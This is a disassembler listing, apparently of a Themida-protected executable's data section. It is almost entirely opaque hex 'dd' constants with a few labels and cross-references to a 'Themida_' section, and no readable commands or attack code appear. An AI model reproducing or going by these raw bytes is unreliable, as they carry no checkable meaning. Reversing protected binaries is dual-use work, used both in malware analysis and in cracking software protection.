		dd 6BE9063Ah, 68FFFCEBh, 63A9882h, 0FCEB61E9h, 990768FFh
		dd 57E9063Ah, 68FFFCEBh, 63A9A08h, 0FCEB4DE9h, 9B0868FFh
		dd 43E9063Ah, 68FFFCEBh, 63A9B9Eh, 0FCEB39E9h, 9C7B68FFh
		dd 2FE9063Ah, 68FFFCEBh, 63A9D38h, 0FCEB25E9h, 8EE127FFh
		dd 5BA4F3AEh, 2E73C07Bh, 0FD42934Eh, 0CD10621Dh, 0B84242EDh
		dd 88432366h, 5914F43Dh, 27E2C209h, 30B494DBh, 5F1B2F4Ah
		dd 9BC8E719h, 0CA115DA7h, 82CB1603h, 8ED52564h,	48958263h
		dd 44F3C03h, 0B1FFF4BBh, 623E0A93h, 829CE844h, 0D5B5ED30h
		dd 9CBA90E4h, 537FB4Ah,	0EE4212E2h, 4995B5D0h, 3056E123h
		dd 684B0405h, 74B3E75Ah, 0DAB5E029h, 0B400EDB4h, 695E6C87h
		dd 0E70DE714h, 699CAEC9h, 294FE714h, 0A5611F1h,	245CA5F0h
		dd 69CB945Dh, 3C32E714h, 2F76C21Eh, 0F542814Fh,	6FA37CDh
		dd 90C81314h, 0DAF44065h, 4910488Dh, 0A6F6105Ch, 467E985Fh
		dd 0CAE8DE7Fh, 0FBDB226Eh, 603ED65Bh, 1C6DAC3Ch, 0AC9EB9D7h
		dd 3FE71472h, 2BB4EE19h, 82000005h, 1BA9F84Ah, 2582E29Fh
		dd 2A53775Eh, 0EA10E123h, 74E9ABFh, 2A4597E9h, 0E1232A20h
		dd 94B69DC3h, 57E1232Ah, 38250631h, 0F7C5A5ECh,	3C4066B8h
		dd 0E14EF5D9h, 0F913DA12h, 491F73CEh, 4D9AD92Bh, 0CBDCDD08h
		dd 0A0E75A47h, 9CEAB37Ah, 15E71477h, 89A8E907h,	0F73C6043h
		dd 6Eh,	0EA0557A9h, 0E7140FE0h,	54765D83h, 0CDE7140Fh
		dd 7E77387Bh, 86B1E92Ch, 0BE0B4A6Ah, 0DA125BA6h, 73CEF913h
		dd 0DF26761Fh, 53D84D4h, 0ECA3CCE7h, 0BCC8E75Ah, 0D5B4246Dh
		dd 0EED5F40Bh, 0E714FBDCh, 304B698Fh, 0E714FB1Ah, 0A46BA3C9h
		dd 14FB93DBh, 9FDE06E7h, 2842094Eh, 52C1DFFDh, 737EC113h
		dd 0A7B1DC23h, 3C5FC38Ah, 0CCF6h, 0F84AC400h, 23CCEDDDh
		dd 2D587EE1h, 0AE75BC08h, 652C6FC1h, 1EE52C78h,	0BE9EE531h
		dd 1D66B1F0h, 0D0B4F1F2h, 2975E123h, 0E23402E2h, 291057A3h
		dd 0E123CF21h, 21E22778h, 5FABD0FBh, 7AB2F945h,	6FBB0A5Ch
		dd 3E609A3Eh, 5875553Ch, 0D0F6E123h, 4DA1C4A5h,	313E5977h
		dd 1AE75A73h, 43D7F30Eh, 6E94E714h, 11655636h, 0C0021D3Bh
		dd 0A3E16AF2h, 0DC1459AAh, 172D7FBEh, 0A3BD84CBh, 7603288h
		dd 0E018D64Ch, 0B0F34500h, 0BF3DDAE5h, 0EDDC933Fh, 8A5h
		dd 7B5BAEF4h, 482871C0h, 1BFB408Dh, 0EACA0F60h,	0BA9ADD2Fh
		dd 3385310Fh, 0A5510F0h, 0D626E1C1h, 0A8F4AF8Fh, 17FD8161h
		dd 1959CEFCh, 7C709DE7h, 0E8C80B5Dh, 0BA9AE12Dh, 0FDD32708h
		dd 0ECDBC4DFh, 51A3E75Ah, 14D31436h, 86B1D7E7h,	46849FABh
		dd 25E714D3h, 5CA5F4FFh, 7C437B95h, 14D3EBB3h, 0B2D0DEE7h
		dd 5FABC071h, 0D3C03Ch,	4A8E0000h, 0B279BE0Bh, 0FC486D98h
		dd 0AF01EEB5h, 0BDFC4E6Ch, 6442B70h, 0E5E123CCh, 0EAB394BFh
		dd 0E123D08Dh, 0D916408Ch, 6AC9C22Dh, 3F0DED25h, 35855CF0h
		dd 608B3371h, 0E1A8EF3Bh, 76946ABEh, 5A13525Bh,	0B393B9E7h
		dd 7A986EC2h, 89A7F03Bh, 14235C6Eh, 0BEE90FE7h,	95286B86h
		dd 1D43E16Ah, 2B6EC0FFh, 0FB3E904Bh, 0BF8E9F30h, 0C2B1683Fh
		dd 7C5h, 9B7BCE14h, 684891E0h, 3B1B60ADh, 0AEA2F80h, 0DABAFD4Fh
		dd 53A5512Fh, 2A753010h, 0F64601E1h, 0C814CFAFh, 371DA181h
		dd 195A2E1Ch, 9C90BDE7h, 0EDDDF84Ah, 24E123CCh,	92AE294Dh
		dd 848D4E7Fh, 40129129h, 0B9E41C83h, 1FFF4294h,	71EE1864h
		dd 2A430AF2h, 7AC9E71Fh, 0E109BF10h, 9690BB46h,	0CA115DE4h
		dd 79C40303h, 244F6930h, 4799B3FFh, 0CCC7031Eh,	7EA4E123h
		dd 0B02E0E46h, 22F84C45h, 9B63B204h, 6D915E99h,	6B5E6C87h
		dd 0E70DE123h, 0F28384AFh, 69E75A48h, 0BE10E843h, 1449A7A3h
		dd 0F31E44E7h, 0DBC5FEF2h, 0CBA1F5D9h, 1E8D92ADh, 6D661FA5h
		dd 0F40ED51Eh, 7ED2F5BCh, 5D6F8AA8h, 161996ECh,	4293D2F0h
		dd 0F11C36FDh, 42E7AB9h, 0CC6FCE8Ah, 9070A8ECh,	774289D5h
		dd 0C7435278h, 0DE6B5A11h, 2D000006h, 0F9B494E7h, 0C68161AAh
		dd 99543479h, 68230348h, 48F3D316h, 296CBE78h, 0FA438E49h
		dd 0C80F5F1Ah, 9AE12DE8h, 355036BAh, 0E7195B15h, 5DB5A9D6h
		dd 0E003CA11h, 7D98B68Ch, 0E75AE5C0h, 0B785658Bh, 0D4004A65h
		dd 0BDE3E714h, 0DE33792h, 1960B0EFh, 2564B6EEh,	0B2CC93D8h
		dd 47F78687h, 4E74E169h, 5EA5F130h, 4E7C9797h, 1DE12E46h
		dd 5C94BFF7h, 0AA8AD11Dh, 955CA3EFh, 2A481E72h,	53D4610Fh
		dd 81D325E7h, 14D76466h, 0FAE107E7h, 0E714D7D0h, 5E6C8793h
		dd 0DE714D7h, 0A984AFE7h, 0DA266583h, 0E7367593h, 0BE79739Eh
		dd 64642B72h, 0D7D3F712h, 8790E714h, 30C10FF8h,	6994CC3Ah
		dd 0C6E4BA0Eh, 0C3072274h, 0A0E71455h, 8D4E4F7Ah, 0DEE16D7Dh
		dd 42ECEDB8h, 0BE753FB1h, 600CFh, 0B6094F00h, 83CC1BD6h
		dd 569BE8A3h, 256ABB76h, 0F5388A45h, 0E09A6A15h, 0B06B4B8Eh
		dd 813C1C65h, 4F0AEA31h, 58DCBC03h, 54735772h, 0C3F0E719h
		dd 0FDD327CFh, 950A0DFh, 0DD8BA6DEh, 0EE75E5Eh,	3E8BCAE8h
		dd 0ED1832F9h, 0D92463B5h, 0F4406590h, 5D9EACC7h, 274DE719h
		dd 8540FEFh, 83D7FAC1h,	0DB748FADh, 0A0E16074h,	453CAF7Ah
		dd 0EC53FBCh, 58C1Fh, 4295DB00h, 0F58A762h, 0E227742Fh
		dd 0B1F64702h, 81C416D1h, 6C0EF6A1h, 3CF7D71Ah,	0DC8A8F1h
		dd 0DB9676BDh, 0E468488Fh, 54E7E3FEh, 5784E719h, 0FDD32763h
		dd 5F35C4DFh, 90B6E75Eh, 0A0E73372h
		dd 72B905C0h, 7DC61554h, 0FA4E7152h, 85EB0624h,	89E164CCh
		dd 88B3FA4Ah, 2A6987ADh, 0B6D097DEh, 0C814538Bh, 9AE6A181h
		dd 4D8C8C53h, 308BB6FDh, 0CDE806DCh, 0E75AE70Ch, 816E395Fh
		dd 0FA3986D8h, 5075443h, 10560000h, 0D322DDBDh,	0A2EFAA8Ah
		dd 71C27D5Dh, 3F914C2Ch, 93711CFCh, 725295E7h, 43236CB7h
		dd 11F13888h, 0E3C30A56h, 6C5E795Fh, 0FFE71955h, 115DDED2h
		dd 0CA1603CAh, 531A5FB0h, 30210139h, 0CDE806DCh, 0E75AE5D8h
		dd 0DDA66D93h, 0E714D591h, 9BDCFA08h, 3C5FA196h, 3DEAh
		dd 0D327B800h, 0DBC4DFFDh, 0A3E75AECh, 0D3143651h, 0B1D7E714h
		dd 4A1154A6h, 42A0530h,	0D32A743Dh, 919FE714h, 0ABFF3273h
		dd 34833C5Fh, 0A45A2FA1h, 2A75807Eh, 0D5001AE1h, 0AD9Bh
		dd 115D6900h, 0C41603CAh, 81CDBA81h, 3A86733Ah,	237C13F3h
		dd 0DEE123D0h, 0B06B4B92h, 33561D64h, 99EB09DFh, 0CF1E2C47h
		dd 0A7CDE123h, 0F54E7B7Ch, 0F71DE75Ah, 0FCD22617h, 5768C3DEh
		dd 0D716E16Ah, 57274285h, 0C98BAA26h, 58512C57h, 0E5FFC60Bh
		dd 0FE508FADh, 0CE20DBBBh, 1A256CB8h, 834E86CFh, 3FBFC0E4h
		dd 6C7B66Dh, 55000004h,	21DCBC0Fh, 0EEA989D2h, 0C17C5CA1h
		dd 904B2B70h, 701BFB3Eh, 5194E690h, 226BB671h, 0F0378742h
		dd 0C2095510h, 5D785EE2h, 0E719566Dh, 5DDDD1FEh, 2DE8C80Bh
		dd 517BC7E1h, 0BE8D1EB4h, 23A728Dh, 0D3277022h,	0CC93DA2Ah
		dd 415C7AB2h, 0E75AEC54h, 0C992597Fh, 0E714D3FDh, 87C8E6F4h
		dd 3C5FABAAh, 64D99D8h,	0C0FA253Fh, 0CCh, 0CA115D8Eh, 81C41603h
		dd 0D0B4F1BAh, 2975E123h, 0FB4702E2h, 9EEDEDB4h, 0F952E559h
		dd 300052CDh, 8C13C1DCh, 1367C2EDh, 7ECD1F3Dh, 9D11BD18h
		dd 2B2C572Bh, 0E75A2E1Eh, 4188D4CDh, 4828607Ah,	3D0D287Ah
		dd 0AEE7143Eh, 3E4387A2h, 0FA20E714h, 88D3A7C2h, 0D9D30526h
		dd 29FF53AEh, 6ACAF00Bh, 8D99E16Ah, 2D725872h, 0C7120BE1h
		dd 659DB77Eh, 6EBD0F2Dh, 2E1B9D62h, 0A7F3FE80h,	547F9960h
		dd 0BA9ADD2Fh, 9F6AADFFh, 3FBF8FE2h, 6D5C47Bh, 55000003h
		dd 21DCBC0Fh, 0EEA989D2h, 0C17C5CA1h, 904B2B70h, 701BFB3Eh
		dd 5194E690h, 226BB671h, 0F0378742h, 0C2095510h, 5D785EE2h
		dd 0E719576Dh, 5DDDD1FEh, 2DE8C80Bh, 8BA9AE1h, 3CA115Dh
		dd 61B0CA16h, 8200E018h, 0F6CC2071h, 0EF38BDD8h, 8DB3E75Ah
		dd 611D9132h, 256836Eh,	0EEF30E2Ch, 7D455880h, 0AAFA3957h
		dd 202A4563h, 0C3451690h, 6E91729Dh, 0B26441Ah,	436B6239h
		dd 1C6E8CB2h, 7F468DDDh, 0C9153A65h, 9BE7A282h,	0E2CE8954h
		dd 0D0879DBEh, 270E1h, 2679BF00h, 0F33C8B46h, 0C60B5813h
		dd 95DA2BE6h, 65A8FAB5h, 50EADA85h, 20DBBBFEh, 0F1AC8CD5h
		dd 0BF7A5AA1h, 0C84C2C73h, 5783C7E2h, 3360E719h, 0CA115D3Fh
		dd 0B68CE003h, 0E5EC7D98h, 597FE75Ah, 0A3EEFB79h, 95B794Fh
		dd 14D4DCEEh, 3E698FE7h, 2975B406h, 21B6B7E2h, 5DE16DF7h
		dd 608BD21Eh, 0CE2A7985h, 0DF23731h, 7A27230Ah,	9EC4E123h
		dd 186A0B66h, 0CB9DB28Dh, 6883A177h, 5BD43757h,	98B060AFh
		dd 0B84B41A9h, 809BFB43h, 0DF0A9C72h, 1717DE04h, 22718DD8h
		dd 0C0F812D9h, 59B4DFF9h, 0BF112F05h, 9A9BA6A4h, 0F41F455Bh
		dd 69AFA1BCh, 0A8E75DE7h, 2F491059h, 0CE1D2904h, 583296D9h
		dd 9DAD9425h, 4E5DA02Ah, 93D2F028h, 65200047h, 4607D219h
		dd 0F83322Ah, 1936958h,	9CE20000h, 5FAE6949h, 2E7B3616h
		dd 0FD4E09E9h, 0CB1DD8B8h, 7FDA888h, 0FEDE2173h, 0CFAFF843h
		dd 9D7DC414h, 6F4F96E2h, 0E0EA05EBh, 83E71950h,	115D6256h
		dd 8CE003CAh, 0AC7D98B6h, 62E75AE0h, 0C48BD423h, 7EA47FAAh
		dd 637ED09Eh, 0E714DF67h, 0CBB3DE04h, 481E721Fh, 0FC8E0F2Ah
		dd 0C908E16Dh, 536D3477h, 0CC274D28h, 1688FF2Bh, 42186C9Ah
		dd 32F40924h, 496F5FA8h, 549DEC2Bh, 0D1254829h,	4E9EDDFBh
		dd 32C40621h, 81A75FE6h, 3D688249h, 0C0E6EA05h,	0E120599Bh
		dd 0E82F7B95h, 8CF0721h, 0C2E8C3EEh, 0D21965A4h, 0DD2675B4h
		dd 0D7D1FC16h, 0BE89D01Ch, 874E40E7h, 0D6DAC980h, 25000000h
		dd 0F1AC8CDFh, 0BE7959A2h, 914C2C71h, 601BFB40h, 40EBCB0Eh
		dd 2164B640h, 0F23B8641h, 0C0075712h, 92D925E0h, 2D482EB2h
		dd 0E719511Dh, 5DADA1CEh, 0E003CA11h, 4E91E38Ch, 67B9F816h
		dd 18435D24h, 0D828C5E0h, 8DB3E75Ah, 3B8DDFADh,	14C72A20h
		dd 0AC93B9E7h, 0E714C79Eh, 0A1FC274Dh, 759774Dh, 0A357CC8h
		dd 69547A09h, 0FCC3E9E1h, 5E7CC30Fh, 0AB9FBA0Ch, 38E12E55h
		dd 551F2B12h, 3682E12Eh, 0FD082EEFh, 849E65AEh,	58A45F59h
		dd 0BE814A11h, 0AA227A99h, 854B0CEh, 0DA26E1C1h, 0A405BADh
		dd 0D9A07D66h, 66FECCB3h, 476DA07Dh, 0A5B480Fh,	814488E2h
		dd 73FE9A5h, 5BAA8440h,	2463C9F6h, 6F8DB819h, 62A9F551h
		dd 347BC782h, 37E6Dh, 28260000h, 0C4175D36h, 7DC410FDh
		dd 3279C9B6h, 0EA337E6Bh, 0A1E43623h, 589BEDDAh, 0E53A491h
		dd 0C80D5A47h, 7CC51401h, 8953C3B5h, 4C381E3h, 83000000h
		dd 1C3304EBh, 241C3124h, 5C241C33h, 5E08950h, 4, 42Dh
		dd 24048700h, 243C895Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h
		dd 55242C89h, 20621EBDh, 3118686Eh, 15F981Ah, 8B545DEFh
		dd 0C481242Ch, 4, 0FB895352h, 895BDA89h, 0FF5A0855h, 835D2434h
		dd 3C8B04C4h, 0E0895024h, 405h,	40500h,	4870000h, 0A7E95C24h
		dd 1BFFFCDFh, 0C4B3C77Ch, 0B3EE2793h, 3A9E33B8h, 0FFC50306h
		dd 0CB4C02E0h, 5330CF64h, 25226437h, 2EF4110Dh,	0ABC00C63h
		dd 371CC13Fh, 591CC009h, 0B8CEB719h, 0FDE21C70h, 0BB29243Eh
		dd 0C2113434h, 82AFFA60h, 84698E0Eh, 32466503h,	22F6766h
		dd 0F3E7E96Eh, 31DD8905h, 0BE9AAE25h, 148E934h,	500000h
		dd 540000h, 580000h, 5C0000h, 600000h, 640000h,	680000h
		dd 6C0000h, 0B00000h, 0B40000h,	0B80000h, 0BC0000h, 0C00000h
		dd 0C40000h, 0C80000h, 0CC0000h, 0D00000h, 0D40000h, 0D80000h
		dd 0DC0000h, 0E00000h, 0E40000h, 0E80000h, 0EC0000h, 38h dup(0)
		dd 6BC20000h, 50EB0057h, 858D009Fh, 63A9F13h, 0D8816660h
		dd 8D89B82Bh, 6371131h,	53858961h, 31063AA0h, 371C0595h
		dd 0CD958906h, 0C6063725h, 3722B985h, 0C7815406h, 20183E7Dh
		dd 4E8h, 62682900h, 8B5250EEh, 50310FFAh, 8825BE52h, 310F4EA2h
		dd 310F5250h, 585A585Ah, 6050585Ah, 96B85250h, 0F3CE94Dh
		dd 463EBF31h, 585A2243h, 8B61C78Bh, 8B042444h, 0CB8B6600h
		dd 4244489h, 0CF8B6053h, 5961EF8Ah, 2D9D8958h, 0FF06370Ah
		dd 372339B5h, 81606006h, 0EE0E3DC9h, 0D2816626h, 8B611BEFh
		dd 37190185h, 858D6106h, 63A720Ah, 0E3DCB966h, 1A0D9D31h
		dd 0D0FF0637h, 4193BB66h, 8589F88Bh, 63AA057h, 5E8h
		db 0
byte_576D6D	db 0ADh, 25h, 0FBh	; DATA XREF: Themida_:0053D0F4o
					; Themida_:0053D640o ...
		dd 8501ACCEh, 6371C6Dh,	3EE95Bh, 85890000h, 6370535h
dword_576D84	dd 53B58B56h, 89063AA0h, 53858306h, 4063AA0h ; DATA XREF: Themida_:0053D0A0o
					; Themida_:0053D3A4o ...
		db 5Eh,	0C3h
word_576D96	dw 8D60h		; DATA XREF: Themida_:0053FD44o
		dd 3A9F13B5h, 560FEB06h, 36FF006Ah, 0A05795FFh,	835E063Ah
		dd 3E8304C6h, 61EC7500h, 9D31F8C3h, 6370A21h, 0A147858Dh
		dd 0D681063Ah, 0C6420D1h, 1FADB589h, 85890637h,	63730F5h
		dd 9104BEBh, 0C53C2F0Eh, 0ACDA4B1Ah, 0D2D41CA4h, 0E45C5Ch
		dd 0F53134CEh, 0B327CE1Bh, 5B34D129h, 0E62AC7DDh, 0DF1BCE17h
		dd 0A6DB6734h, 46D8ED00h, 0A3EA1A00h, 0D5h, 0C8199C00h
		dd 480000FEh, 0FBFEh, 0E6412800h, 727DD427h, 0EE5E9C3h
		dd 85890000h, 63730A5h,	89DBD83h, 0F000637h, 4685h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0F4ED61F6h, 0E99D0B37h, 0B806370Ah, 0
		dd 8D096060h, 6370D01h,	61F2BF0Fh, 4C261h, 58F0Fh, 6DBB0000h
		dd 8B520C0Fh, 0BD83F5C0h, 6371929h, 83097500h, 371FE1BDh
		dd 13740006h, 0C08B5350h, 4D0B8h, 0E09D8D00h, 0FF0639AEh
		dd 83585BD3h, 371FE1BDh, 11740006h, 0D0B85350h,	8D000004h
		dd 39AE2D9Dh, 5BD3FF06h, 0C2816658h, 6A5785h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0C08B06C3h
		dd 18BAD88Bh, 8D47624Ah, 3AA1CA85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 8CC25F64h
		dd 8166DC1Ah, 506642F3h, 0BB665250h, 310F7501h,	48BE6660h
		dd 820F8Bh, 61000000h, 489585Ah, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 858D6614h
		dd 63AA187h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	74C35343h, 0B6C28188h, 5041944Ch, 489E9B2h, 1EBF6624h
		dd 7595FF0Ch, 6A063717h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0E83AC355h,	14h, 0ED1DA093h
		dd 0C7D2298h, 3219B1EDh, 0FBF385CEh, 5298FD8Ch,	0AD59D8Bh
		dd 8B5B0637h, 66042444h, 23C9EB81h, 0A1B28589h,	0EE9063Ah
		dd 0E2000000h, 28A5663Ah, 6333227Eh, 1FFEF111h,	92F8BF44h
		dd 448B16AEh, 890F0824h, 6, 0DD3ECB81h,	85891E9Eh, 63AA1C6h
		dd 17918D8Bh, 95890637h, 6371AC1h, 1181BD83h, 0F000637h
		dd 10185h, 798D8900h, 0C606370Eh, 3722B985h, 6A4706h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0DA8C02C3h, 0ECB0C6A2h, 4E8963Fh, 0D2000000h, 0E9D49AA7h
		dd 9, 0D82C3556h, 94468F23h, 6E850CBh
		db 3 dup(0)
byte_577067	db 96h			; DATA XREF: Themida_:0053EA30o
		dd 0EFBBBB27h, 448B5BCBh, 8B0424h, 0BC7B52B9h, 24448930h
		dd 10E904h, 5450000h, 0C1F56377h, 2E02948Fh, 6ACA961Ah
		dd 6658B80Bh, 2369C981h, 2339B5FFh, 0B9660637h,	858D48BDh
		dd 63A720Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	56C35141h, 8E230966h, 0EDF5802Ch, 6AD0FFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0FE6A6C3h, 259342B2h, 11818589h, 6A0637h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 4D7B18C3h
		dd 0DEB83DF9h, 0BD83F114h, 63729F5h, 2C850F00h,	6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0C6FDC357h, 3722B985h, 0BD8B4706h, 6370459h
		dd 4E8h, 0FB5E200h, 0AE88Ah, 4A230000h,	3C1A6CA7h, 9407244Dh
		dd 5E8h, 0E18CDF00h, 11E917F5h,	0EB000000h, 6A29ACDh, 0C838D97Ah
		dd 76B55ED9h, 0E38AA6A0h, 8B505B5Bh, 24448BD3h,	92BB6604h
		dd 89008B42h, 66042444h, 58B393BAh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 87C35242h, 2339B5FFh, 6A0637h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 714778C3h, 8DE19FEAh, 3A720A85h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0E698A1E0h
		dd 67661CD9h, 0B5898890h, 6372F51h, 6AD0FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 2400D2C3h
		dd 662E7248h, 0B439C381h, 29F58589h, 0CE90637h,	10000000h
		dd 9158C319h, 2EF6FD4Ah, 83D2AC86h, 37131DBDh, 850F0006h
		dd 110h, 1DE19D89h, 85C60637h, 63722B9h, 56006A56h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0E182B9Eh, 6816E765h, 0B3CED22Ch, 810F5250h,	2, 310F6160h
		dd 585ADA8Ah, 0D240481h, 6620509Bh, 0B5FFFA8Bh,	6372339h
		dd 17F18D2Bh, 858D0637h, 63A720Ah, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 5CC35040h, 18647844h, 66C409E1h
		dd 719EE181h, 4FE8DA81h, 0D0FF7C71h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 7AC35242h, 8E0F56B1h, 17h
		dd 10E957h, 505C0000h, 6370144Fh, 0CA804F7Ch, 82B7F6D4h
		dd 0FC5A328Dh, 131D8589h, 6A0637h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 8D899AC3h, 6371399h
		dd 10E8h, 82FF7200h, 0CED6CE05h, 8077AC21h, 998FFC62h
		dd 2D9D8962h, 5B06372Fh, 22B985C6h, 6A6C0637h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0FB29C355h, 0CEA0DA81h, 4E80594h, 83000000h,	0E9DB0570h
		dd 11h,	66CC3D65h, 0A71A9957h, 0DF9A483Ch, 610CB1B6h, 5056502Bh
		dd 0F616052h, 14E831h, 6F7E0000h, 21C0FBA7h, 0B45DAEAEh
		dd 0BC24248Ch, 6F6B6C06h, 5A5919CAh, 448B5F58h,	52500424h
		dd 0BEF232BFh, 0B1310F69h, 8B585ACBh, 89D08B00h, 0E9042444h
		dd 0Eh,	0B03CAF25h, 0B0CC67C2h,	207BCDB2h, 8158E2E3h, 0E34C16F2h
		dd 0AE819h, 5AC90000h, 44F1570Eh, 6BD8A4FFh, 49B5FF5Fh
		dd 6A06371Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 4B13C352h, 0CDBD8928h,	8D06371Fh
		dd 373A1485h, 0F99D0306h, 0FF063724h, 958529D0h, 8A063730h
		dd 0B68589F1h, 6A063AA1h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 3969C351h, 9D8BCF0Fh
		dd 6370109h, 9E8046Ah, 0DA000000h, 3A784AEAh, 8FF04E44h
		dd 0BE9h, 5A55F100h, 0A412AB42h, 0EDBE148Dh, 0BE959h, 0EAA20000h
		dd 0BED1DDE2h, 7A65A380h, 4E886h, 10000000h, 0DE90000h
		dd 7B000000h, 1AFB118Dh, 0EB87F351h, 548CC48Eh,	8BF38A50h
		dd 0E8042444h, 0Bh, 932D8068h, 0AB8C49FEh, 0F4EA5F4h, 1888h
		dd 12E800h, 0B88A0000h,	0EB0D9CD5h, 0C94CA05Ch,	79C388C3h
		dd 82AD57EAh, 8B5F5Bh, 0D592D0BFh, 2444896Fh, 6A5804h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8B607AC3h, 371E9D9Dh, 56BF6606h, 6C0D685Ch, 665167E0h
		dd 815AC88Bh, 6C0D2434h, 0ED8067E1h, 6A006A43h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 6715C357h, 0B0975819h, 22B5D897h, 19E195FFh,	6A0637h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0F0340AC3h, 89F88F75h, 3AA1C285h, 81BD0B06h,	6A063709h
		dd 0CB816600h, 4E818C6h, 0
		dd 8B000100h, 8E850DEh,	0A1000000h, 5EC7A169h, 6676FCDBh
		dd 8B5AD98Bh, 0E8042444h, 9, 95772712h,	0A82B8E28h, 591AB686h
		dd 0B966008Bh, 4489C699h, 6A580424h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0F066C352h
		dd 98E9C181h, 0E8507602h, 13h, 0F9D433ADh, 84AE97D6h, 875BD615h
		dd 90513943h, 598975F2h, 0F240489h, 682h, 0E59D8B00h, 89063731h
		dd 373039B5h, 890B6A06h, 37073995h, 6890F06h, 81000000h
		dd 0DEE3DAC1h, 8F858D0Eh, 6A063AA1h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0D9CBC352h
		dd 0BC5B35CFh, 80A8556Fh, 1CFDBD29h, 0BF500637h, 4C4F970Dh
		dd 0E9240489h, 7, 451DC80Ch, 0FF066027h, 37118195h, 99B58D06h
		dd 8B063AA1h, 37104DBDh, 0BB669606h, 5050C082h,	0E9310F52h
		dd 14h,	0ACB2E94Eh, 1401525Eh, 95772712h, 0A82B8E28h, 0D001F686h
		dd 0E996585Ah, 14h, 0B9FA5143h,	4AE348EBh, 5757C467h, 15BBA910h
		dd 0CD4D0743h, 0AABA6650h, 24048942h, 6E9h, 0CD1A7F00h
		dd 0FFFE36D3h, 3729F595h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0DE9B2h, 0D13D0000h
		dd 9728549Eh, 0A9C94280h, 0FFC64572h, 8D8952D0h, 6371EEDh
		dd 45950159h, 8B06371Bh, 3AA1C2B5h, 49952906h, 0C706372Bh
		dd 3AA1BA85h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 613C0E31h, 87E77C3Bh
		dd 9589B66Fh, 6372289h,	9F19D8Bh, 7E800637h, 840F0020h
		dd 340h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0DC35141h, 0FB1039D0h, 0D59D81CBh, 6995892Fh, 60063728h
		dd 3321BD8Bh, 468D0637h, 0BE858920h, 6A063AA1h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 6DC7C353h, 8B0E4619h, 60B5BACDh, 62D38166h, 3D8D890Fh
		dd 6106371Eh, 46E9h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0AEF161D2h, 40C03EFEh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 41C35242h
		dd 0AA1B6219h, 80CB8B66h, 850F0038h, 0FFFFFFD3h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0D7C35141h, 6890Fh
		dd 95890000h, 63721FDh,	434BABBBh, 30E973h, 950B0000h
		dd 6370181h, 51006A48h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 97786D54h, 19B5A3D0h, 1A698D89h
		dd 38800637h, 5A840F5Ch, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0AD48C352h
		dd 80CBB70Fh, 840F2F38h, 31h, 325CA81h,	853B6785h, 63AA1BEh
		dd 0FF92830Fh, 6AFFFFh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0ED632FC3h, 0E5B3404Eh, 0A1C6BD83h
		dd 0F00063Ah, 8984h, 35958B00h,	90063713h, 6050CE8Bh, 66CE8B66h
		dd 61DAA4BAh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0CB4E6179h, 97B771EAh, 55D0B999h
		dd 85033CA3h, 63AA1C6h,	179D952Bh, 0C60637h, 0ED958900h
		dd 8906372Eh, 37061185h, 6A5806h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 8C4CAC3h, 0CBE583FBh
		dd 0BD892E3Bh, 63708B5h, 43A2B9B9h, 0E990F52Ah,	6, 8C2433Ah
